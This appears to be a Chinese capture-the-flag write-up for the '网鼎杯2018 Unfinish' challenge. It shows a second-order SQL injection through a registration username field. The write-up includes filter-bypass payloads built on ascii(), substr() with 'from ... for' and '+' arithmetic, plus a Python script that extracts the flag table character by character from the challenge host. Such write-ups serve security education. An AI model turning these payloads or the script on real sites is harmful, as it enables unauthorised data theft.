[网鼎杯2018]Unfinish

场景
[网鼎杯2018]Unfinish_第1张图片
既然有login.php那就会有register.php,访问。
[网鼎杯2018]Unfinish_第2张图片
注册一个账号进去。
[网鼎杯2018]Unfinish_第3张图片
登录进去后看到我们的用户名了。

猜测在用户名处存在二次注入,再注册一个账号。
[网鼎杯2018]Unfinish_第4张图片
[网鼎杯2018]Unfinish_第5张图片
用户名变成了0,证明存在二次注入。

fuzz之后发现逗号,information等许多关键字被过滤了。

绕过方法:
mysql中,+只能当做运算符。
执行select '1'+'1a'时 结果
在这里插入图片描述
执行select '0'+database();
[网鼎杯2018]Unfinish_第6张图片
编程了0,但我们可以用ascii编码进行计算。
select '0'+ascii(substr(database(),1,1));
[网鼎杯2018]Unfinish_第7张图片
出来了库名第一位的ascii值。回到题目
因为过滤了逗号,所以用from for来代替
0'+ascii(substr(database() from 1 for 1))+'0;
[网鼎杯2018]Unfinish_第8张图片
[网鼎杯2018]Unfinish_第9张图片
成功回显,因为过滤了information,只能猜测字段名为flag
自己写了个脚本:

import requests
import logging
import re
from time import sleep

# LOG_FORMAT = "%(lineno)d - %(asctime)s - %(levelname)s - %(message)s"
# logging.basicConfig(level=logging.DEBUG, format=LOG_FORMAT)

def search():
    flag = ''
    url = 'http://b52b0533-2f84-4c9b-bd73-e912ab23a59f.node3.buuoj.cn/'
    url1 = url+'register.php'
    url2 = url+'login.php'
    for i in range(100):
        sleep(0.3)#不加sleep就429了QAQ
        data1 = {
     "email" : "1234{}@123.com".format(i), "username" : "0'+ascii(substr((select * from flag) from {} for 1))+'0;".format(i), "password" : "123"}
        data2 = {
     "email" : "1234{}@123.com".format(i), "password" : "123"}
        r1 = requests.post(url1, data=data1)
        r2 = requests.post(url2, data=data2)
        res = re.search(r'\s*(\d*)\s*',r2.text)
        res1 = re.search(r'\d+', res.group())
        flag = flag+chr(int(res1.group()))
        print(flag)
    print("final:"+flag)

if __name__ == '__main__':
    search()

[网鼎杯2018]Unfinish_第10张图片

你可能感兴趣的:(sql注入,#,ctf做题记录,ctf,mysql)